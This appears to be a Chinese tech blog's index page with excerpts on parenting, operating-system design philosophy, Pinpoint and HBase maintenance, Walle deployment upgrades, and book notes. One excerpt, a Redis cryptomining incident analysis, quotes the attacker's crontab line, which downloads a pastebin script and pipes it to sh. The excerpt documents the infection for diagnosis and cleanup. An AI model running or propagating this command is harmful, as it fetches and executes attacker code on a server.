你就是不懂欣赏
缘起 “你就是不懂欣赏”,我第一次听到这句话是从儿子口中说出的,那时他才三岁半,是在什么情况下说出这句话的我已经忘记了,我想多半是在他做了什么我认为是所谓“坏事”的时候吧!当时我觉得他这只不过是一句顶嘴话吧,就是有点儿机灵而已,后来再也没有听到过类似的话了,我才感觉这句话是否有那么一点意思!
欣赏 今日闲暇,突然回想起儿子为啥那时突然冒出这句话来。这是一项逆向工程,我先查了查欣赏的含义:1. 动词 以喜悦的心情领略美好事物;2. 动词,喜欢,感到满意。(顺便说一句,关于该词的解释,不同的词典略有不同,中文比较含蓄,多喜欢以词解词,这样一来一般人就不能很好的领略其中的含义了,还有说领略就是欣赏的意思,这里应该算个巧合吧,哈哈。我有个土办法,把词拆开,发现好多词典解释淡化了欣字的含义,幸好谷歌词典把两个字含义都包含了,甚合我意就采纳了。)
为啥我就是不懂欣赏 由于欣赏词的含义已经很明了了,我回想儿子说话当时的语境,你就是不懂欣赏翻译下大概有两种含义:一是我当时心情可能不好不能发挥我正常的审美能力,领略不到儿子和他所做事情的美好;二是,我认为儿子做的事情不好,对他的行为不满意。我再仔细的想想 ...
操作系统之哲学原理
摘自 邹恒明 操作系统之哲学原理第2版操作系统设计的追求操作系统的设计追求与人类自身的追求相同,有如下几个目标:
保证操作系统本身运行正确。
提供尽可能多的功能。
尽量提高系统的效率。
在追求效率的基础上尽量顾及公平。 上面第3条的效率有两层意思:一是这个实现的系统本身具有很高的管理和运行效率;二是实现过程本身成本很低。
操作系统设计的原则人类的生活哲学很多,应用到操作系统里面的原则自然也很多。本书不打算将所有的设计哲学原理均予以讨论,仅挑选十条最重要的设计原则进行论述。其他的原则读者可自行体会。
层次架构 采用层次结构不仅使得操作系统的构造过程容易,也因为符合人类的习惯而更加易于理解和使用。这样将使操作系统结构的清晰,节省开发操作系统的成本。
没有对错 操作系统的设计就跟跳探戈一样,你觉得号,你就做。
懒人哲学 能懒则懒即是生物界的原则,也是操作系统的一条设计原理。
让困于人 各人自扫门前雪,休管他人瓦上霜。
留有余地 不可将事情做绝。
子虚乌有–海市蜃楼之美 操作系统所提高的各种抽象有如现实生活中的海市蜃楼。魔术师是操作系统扮演的一个根本角色。
时空转换–沧海桑田 ...
pinpoint 修改hbase表TTL值
参考文档
1https://greatwqs.iteye.com/blog/1741330
缘起 Pinpoint接入业务监控后数据量大涨,平均每天Hbase数据增量20G左右,数据量太大,需要对数据进行定期清理,否则监控可用性降低,由于之前环境是由docker-compose部署,查到hbase可以修改表的ttl来清理数据,目前进入pinpoint-hbase容器操作,如果能在hbase表格生成时就修改ttl效果会更佳,该方法需要熟悉docker-compose里面pinpoint-web及pinpoint-hbase部署方法,后期跟进
操作步骤 查找出数据大的hbase表
1234567891011121314151617181920212223242526272829root@990fb5560f64:/opt/hbase/hbase-1.2.6# lsCHANGES.txt LICENSE.txt README.txt conf hbase-webapps logsLEGAL NOTICE.txt bin docs libroot ...
docker-compose部署pinpoint开启email报警功能
做事前认真阅读下Readme文档,磨刀不误砍柴工Pinpoint-Docker for PinpointOfficial git repository of Dockerized components of the Pinpoint Application Monitoring.Installing Pinpoint with these docker files will take approximately 10min. to check out the features of pinpoint.
What is PinpointPinpoint, is the world’s leading open-source application monitoring solution - trusted by millions of users around the globe. It supports and helps you understand your application in a glance and allow you to build world-class, hi ...
技术的本质
布莱恩·阿瑟 技术的本质 相对于只将技术看作实现目的的手段,我们现在有了更直接的描述:技术是被捕捉到并被使用的现象,或者更准确地说,技术是那些被捕获并加以利用的现象的集合(a collection of phenomena)。我在这里用的是“捕捉”这个词,但是还有许多词可以用。我还可以说,现象是为了某种目的而被驾驭、控制、缚住、应用、采用、利用,或者开发的。然而在我的心中,“被捕捉并使用”是我认为最确切的表述。
技术思想前沿 从本质上看,技术是被捕获并加以利用的现象的集合,或者说,技术是对现象有目的的编程。
这种观察将我们带回到本书一开始提到的那个问题:技术的本质是什么?在最深的本质上,技术是什么呢?对我而言,答案就是我们刚才所说的:技术就是被捕获并使用的现象。或者反过来说,技术是被捕捉并被使用(put to use)的现象的集合。 它之所以是核心所在,是因为一个技术的基本概念,即,使技术成为技术的东西,总是利用了某个或某些从现象中挖掘出来的核心效应。在本质上,技术是指向某种目的的,被编程了的现象。我这里特意用“被编程”这个词,是要强调使技术成为技术的现象是以一种有计划的方式被组织 ...
瓦力2.0.0版本升级到2.0.1版本
参考这个文档https://walle-web.io/docs/installation.html, 注意文档中升级不是跨版本升级,跨版本哪怕是小版本升级需要这样操作
1.进入新目录下载代码
12git clone https://github.com/meolu/walle-web.git不可在原目录直接sh admin.sh upgrade,该升级不是跨版本升级
2.修改nginx目录到新目录
12root /data1/walle-web2.0.1/fe/然后reload nginx进程
3.初始化
12sh admin.sh init主要是生成/data1/walle-web2.0.1/venv目录文件
4.重启、升级、Migration
123sh admin.sh restart # 重启sh admin.sh upgrade # 升级walle,升级完需要重启walle服务。升级前最好 git stash 暂存本地修改,升级后git stash pop弹出暂存,然后重启服务。sh admin.sh migration # Migration
瓦力2.0使用介绍
一.简介
walle支持各种web代码发布,php、java、python、go等代码的发布、回滚可以通过web来一键完成。walle 一个可自由配置项目,更人性化,高颜值,支持git、多用户、多语言、多项目、多环境同时部署的开源上线部署系统。
二.权限模型
超管 所有权限(有空间、用户、项目、部署管理权限,类似公司Leader) 空间所有者 所属空间所有权限(用户、项目、部署管理权限,类似部门Leader) 项目管理者 项目管理(项目、部署管理权限,类似组Leader) 开发者 上线申请(部署权限,类似员工) 访客 默认不用
三.运维操作 1. 添加用户 2. 超级管理员创建空间
四.开发操作 1. 空间所有者选择成员到自己空间并设置成员角色 2. 空间所有者新增环境 3. 空间所有者添加服务器 4. 空间所有者新建项目,注意项目要归属某一环境 5. 空间所有者提交项目后,可以设置项目成员管理 6. 项目管理者只能管理编辑项目,不能新建 7. 开发者创建上线单并提交上线单 8. 开发者只能提交上线单需要项目管理者审核 9. 开发者或者项目管理者开始上线 10. 上线成功会发邮 ...
关键提问
詹姆斯·E.瑞安(James E. Ryan) 著
引言 问题不对,你永远不会成功
2014年演讲主题
在为哈佛大学2014届毕业班重新改写这篇演讲稿时,我发现自己在30年前努力想传达的信息就是,我们不应把时间浪费在担惊受怕上——担忧过去、未来、不确定性、他人、新创意、新环境。时至今日,我仍然坚信如此。
2015年演讲主题
轮到我忏悔的时候,我先是询问神父,如果不能坦白所有的罪行,会有什么后果。其实我就是想看看我还有什么选择的余地。而神父却说:“这也是一种罪行。这是不作为之罪。”我心想:真该死。(当然,我没有把这句话说出口。)神父解释说,没有做到你应该做的事情,其罪过与有意去做错误的事情一样严重。
2016年演讲主题
2016年春天,随着毕业季的临近,朋友和同事们开始询问我打算在毕业典礼上讲些什么。有一段时间,我只是条件反射般地回答“这是个好问题”而已,我知道,这个回答很蹩脚。但后来我意识到,“好问题”可以作为毕业演讲的主题,再加上我一直以来对提问的痴迷,这个主题更是顺理成章了。 问题与答案同样重要,甚至问题往往更为重要。道理很简单:答案的好坏是由问题来决定的。如 ...
Redis未授权访问及安全组漏洞招致kerberods来挖矿
参考文档 https://www.freebuf.com/articles/web/94237.html https://www.4hou.com/vulnerable/13843.html https://laucyun.com/17e194c26e4554cab975aae760bad553.html
现象 服务器CPU飙升 故障时间2019.4.10 17:50 top及htop查看信息只能看到1个cpu信息,默认是4个
排错 排查发现crontab异常
12[root@VM_3_114_centos ~]# crontab -l*/15 * * * * (curl -fsSL https://pastebin.com/raw/xmxHzu5P||wget -q -O- https://pastebin.com/raw/xmxHzu5P)|sh
先简单解决问题 重命名curl wget yum等工具,然后停止cron服务,删除crontab任务并禁锢cron任务中root文件,并修改host伪造pastebin.com解析,问题暂时得到了解决
然后分析问题 手工试了下这个脚本的 ...
Java线程泄露问题分析
现象 开发反馈登陆不了服务器了,默认开发是work账号登陆,root账号还没受影响。
123[root@VM_101_65_centos ~]# su - workLast login: Mon Apr 8 10:20:16 CST 2019 from 10.2.8.60 on pts/11su: failed to execute /bin/bash: Resource temporarily unavailable
分析 1.网上分析了下,大都说是和打开文件数与打开进程数有关,其实默认都做过优化的,如下:
1234567891011121314151617[root@VM_101_65_centos ~]# ulimit -acore file size (blocks, -c) 0data seg size (kbytes, -d) unlimitedscheduling priority (-e) 0file size (blocks, -f) unlimitedpending sig ...